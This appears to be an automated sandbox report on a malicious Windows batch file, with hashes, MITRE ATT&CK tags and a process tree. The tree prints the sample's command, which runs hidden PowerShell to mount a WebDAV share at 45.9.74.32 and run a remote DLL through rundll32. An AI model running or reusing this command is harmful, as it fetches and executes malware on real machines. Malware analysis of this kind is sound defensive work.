8fb11a4140916bc1f5ea9bdb9723236bb019561c7db4d0948ae18120640b2dcb

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 21:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

23968317472171130400.bat
Size

2KB
MD5

6ae5ea6cf69b9ddfd182826f1c9670c2
SHA1

64f786bb941d2dd49f3600b9882f01c3fee0bcb4
SHA256

8fb11a4140916bc1f5ea9bdb9723236bb019561c7db4d0948ae18120640b2dcb
SHA512

cc731a576c7a3d20b4cd57139ed0f9f3296ad409dfcc6b102fb2aa61452d448c0d0f3a5edd191150a6ab771225c739442a71a42be88091f21a5faa05b405b44e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3419463127-3903270268-2580331543-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1580	powershell.exe
1580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3604	wordpad.exe
3604	wordpad.exe
3604	wordpad.exe
3604	wordpad.exe
3604	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 3604	4528	cmd.exe	84
PID 4528 wrote to memory of 3604	4528	cmd.exe	84
PID 4528 wrote to memory of 1580	4528	cmd.exe	86
PID 4528 wrote to memory of 1580	4528	cmd.exe	86
PID 1580 wrote to memory of 3196	1580	powershell.exe	88
PID 1580 wrote to memory of 3196	1580	powershell.exe	88
PID 1580 wrote to memory of 1460	1580	powershell.exe	89
PID 1580 wrote to memory of 1460	1580	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\23968317472171130400.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\305.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3196
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\305.dll,entry
    3⤵
    PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ivps3qs.p5d.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1580-9-0x0000023530DA0000-0x0000023530DC2000-memory.dmp

Filesize
136KB

Download